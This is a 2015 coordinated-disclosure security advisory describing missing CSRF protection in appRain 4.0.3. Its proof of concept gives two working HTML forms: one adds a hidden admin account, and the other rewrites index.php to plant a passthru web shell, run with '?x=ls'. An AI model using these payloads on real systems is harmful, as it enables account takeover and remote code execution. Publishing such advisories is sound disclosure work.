appRain 4.0.3: CSRF

appRain 4.0.3: CSRF

Date: 2015-12-02 10:22:42
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: appRain 4.0.3
Fixed in: Fixed via Optional Module
CSRF Protection Module Link: http://www.apprain.com/extension/20/accounting-system?s=Description
Vendor Website: info@apprain.com
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 10/02/2015
Disclosed to public: 12/02/2015
Release mode: Coordinated release
CVE: requested, but not assigned
Credits Tim Coen of curesec GmbH

2. Vulnerability Description

CVSS

Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

None of the requests have CSRF protection. This means that an attacker can execute actions for an admin if the admin visits an attacker controlled website while logged in.

3. Proof of Concept

Add new Admin: <html> <body> <form action="http://localhost/apprain-source-4.0.3/admin/manage/add/" method="POST"> <input type="hidden" name="data&#91;Admin&#93;&#91;f&#95;name&#93;" value="foo" /> <input type="hidden" name="data&#91;Admin&#93;&#91;l&#95;name&#93;" value="foo" /> <input type="hidden" name="data&#91;Admin&#93;&#91;email&#93;" value="foo&#64;example&#46;com" /> <input type="hidden" name="data&#91;Admin&#93;&#91;username&#93;" value="foo" /> <input type="hidden" name="data&#91;Admin&#93;&#91;password&#93;" value="fdnki2&#64;&#35;E&#64;Kkfod" /> <input type="hidden" name="data&#91;Admin&#93;&#91;status&#93;" value="Active" /> <input type="hidden" name="data&#91;Admin&#93;&#91;description&#93;" value="foo" /> <input type="submit" value="Submit request" /> </form> </body> </html> Code Execution (using the PHP file editor): <html> <body> <form action="http://localhost/apprain-source-4.0.3/appeditor/index?loc=webroot/index.php" method="POST"> <input type="hidden" name="content" value="&lt;&#63;php&#10;&#47;&#42;&#42;&#10;&#32;&#42;&#32;&#45;&#45;&#45;&#10;&#32;&#42;&#32;appRain&#32;CMF&#10;&#32;&#42;&#10;&#32;&#42;&#32;LICENSE&#10;&#32;&#42;&#10;&#32;&#42;&#32;This&#32;source&#32;file&#32;is&#32;subject&#32;to&#32;the&#32;MIT&#32;license&#32;that&#32;is&#32;bundled&#10;&#32;&#42;&#32;with&#32;this&#32;package&#32;in&#32;the&#32;file&#32;LICENSE&#46;txt&#46;&#10;&#32;&#42;&#32;It&#32;is&#32;also&#32;available&#32;through&#32;the&#32;world&#45;wide&#45;web&#32;at&#32;this&#32;URL&#58;&#10;&#32;&#42;&#32;http&#58;&#47;&#47;www&#46;opensource&#46;org&#47;licenses&#47;mit&#45;license&#46;php&#10;&#32;&#42;&#32;If&#32;you&#32;did&#32;not&#32;receive&#32;a&#32;copy&#32;of&#32;the&#32;license&#32;and&#32;are&#32;unable&#32;to&#10;&#32;&#42;&#32;obtain&#32;it&#32;through&#32;the&#32;world&#45;wide&#45;web&#44;&#32;please&#32;send&#32;an&#32;email&#10;&#32;&#42;&#32;to&#32;license&#64;apprain&#46;com&#32;so&#32;we&#32;can&#32;send&#32;you&#32;a&#32;copy&#32;immediately&#46;&#10;&#32;&#42;&#10;&#32;&#42;&#32;&#64;copyright&#32;&#32;Copyright&#32;&#40;c&#41;&#32;2010&#32;appRain&#44;&#32;Team&#46;&#32;&#40;http&#58;&#47;&#47;www&#46;apprain&#46;com&#41;&#10;&#32;&#42;&#32;&#64;license&#32;&#32;&#32;&#32;http&#58;&#47;&#47;www&#46;opensource&#46;org&#47;licenses&#47;mit&#45;license&#46;php&#32;MIT&#32;license&#10;&#32;&#42;&#10;&#32;&#42;&#32;HELP&#10;&#32;&#42;&#10;&#32;&#42;&#32;Official&#32;Website&#10;&#32;&#42;&#32;http&#58;&#47;&#47;www&#46;apprain&#46;com&#47;&#10;&#32;&#42;&#10;&#32;&#42;&#32;Download&#32;Link&#10;&#32;&#42;&#32;http&#58;&#47;&#47;www&#46;apprain&#46;com&#47;download&#10;&#32;&#42;&#10;&#32;&#42;&#32;Documents&#32;Link&#10;&#32;&#42;&#32;http&#32;&#58;&#47;&#47;www&#46;apprain&#46;com&#47;docs&#10;&#32;&#42;&#47;&#10;&#10;if&#32;&#40;version&#95;compare&#40;phpversion&#40;&#41;&#44;&#32;&apos;5&#46;1&#46;0&apos;&#44;&#32;&apos;&lt;&apos;&#41;&#32;&#61;&#61;&#61;&#32;true&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;die&#40;&quot;&lt;strong&gt;Whoops&#44;&#32;it&#32;looks&#32;like&#32;you&#32;have&#32;an&#32;invalid&#32;PHP&#32;version&#46;&lt;&#47;strong&gt;&lt;br&#32;&#47;&gt;&lt;span&gt;appRain&#32;supports&#32;PHP&#32;5&#46;1&#46;0&#32;or&#32;newer&#46;&lt;&#47;span&gt;&quot;&#41;&#59;&#10;&#125;&#10;&#10;&#36;appLoc&#32;&#61;&#32;&quot;&#46;&#46;&#47;app&#46;php&quot;&#59;&#10;&#10;if&#32;&#40;&#33;file&#95;exists&#40;&#36;appLoc&#41;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;die&#40;&quot;appRain&#32;core&#32;file&#40;s&#41;&#32;missing&#46;&#46;&#46;&#32;Get&#32;a&#32;new&#32;copy&#32;&quot;&#41;&#59;&#10;&#125;&#10;&#10;error&#95;reporting&#40;E&#95;ALL&#41;&#59;&#10;&#10;require&#95;once&#32;&#36;appLoc&#59;&#10;&#10;umask&#40;0&#41;&#59;&#10;&#10;App&#58;&#58;Run&#40;&#41;&#59;&#10;&#10;passthru&#40;&#36;&#95;GET&#91;&apos;x&apos;&#93;&#41;&#59;" /> <input type="submit" value="Submit request" /> </form> </body> </html> The injected code can now be executed here: http://localhost/apprain-source-4.0.3/webroot/index.php?x=ls

4. Solution

To mitigate this issue please install the "Data Exchange Security" module:

http://www.apprain.com/extension/20/accounting-system?s=Description

5. Report Timeline

10/02/2015 Informed Vendor. Mailbox info@apprain.com is full, used security@apprain.com instead (no reply)
10/21/2015 Reminded Vendor of Disclosure Date
10/21/2015 Vendor announces fix
~11/02/2015 Vendor releases optional module for CSRF protection
11/04/2015 Suggested to vendor that CSRF protection should not be optional (no reply)
11/17/2015 CVE Requested (no reply)
12/02/2015 Disclosed to public